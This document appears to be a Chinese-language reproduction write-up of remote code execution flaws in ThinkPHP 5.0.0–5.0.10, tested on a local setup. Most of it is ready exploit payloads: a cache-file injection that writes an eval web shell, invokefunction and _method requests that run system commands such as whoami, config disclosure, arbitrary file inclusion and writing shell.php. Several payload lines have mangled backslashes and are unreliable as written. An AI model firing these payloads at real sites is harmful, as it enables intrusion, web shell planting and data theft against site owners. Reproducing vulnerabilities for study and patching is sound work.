ThinkPHP 5 代码执行漏洞复现+POC
ThinkPHP 5.0.10 环境框架搭建
ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。
查看当前版本
环境搭建成功
缓存类导致RCE
版本
5.0.0<=ThinkPHP5<=5.0.10
测试payload
漏洞利用条件
- 基于tp5开发的代码中使用了Cache::set 进行缓存
- 在利用版本范围内
- runtime目录可以访问
创建一个生成缓存的页面
构造payload如下:
http://127.0.0.1/public/?username=syst1m%0d%0a@eval($_GET[_]);//
成功在缓存文件写入payload
http://127.0.0.1/runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php?_=phpinfo();
成功执行代码
未开启强制路由导致rce
版本
5.0.0<=ThinkPHP5<=5.0.10
测试payload
5.1.x :
?s=index/ hinkRequest/input&filter[]=system&data=pwd
?s=index/ hinkviewdriverPhp/display&content=<?php phpinfo();?>
?s=index/ hink emplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x :
?s=index/thinkconfig/get&name=database.username # 获取配置信息
?s=index/ hinkLang/load&file=../../test.jpg # 包含任意文件
?s=index/ hinkConfig/load&file=../../t.php # 包含任意.php文件
?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
当前环境版本是5.0.10,构造payload如下:
http://127.0.0.1/public/index.php?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
成功执行代码
method任意调用方法导致rce
版本
5.0.0<=ThinkPHP5<=5.0.10
测试payload
构造payload如下:
POST /index.php?s=index HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=whoami
成功执行代码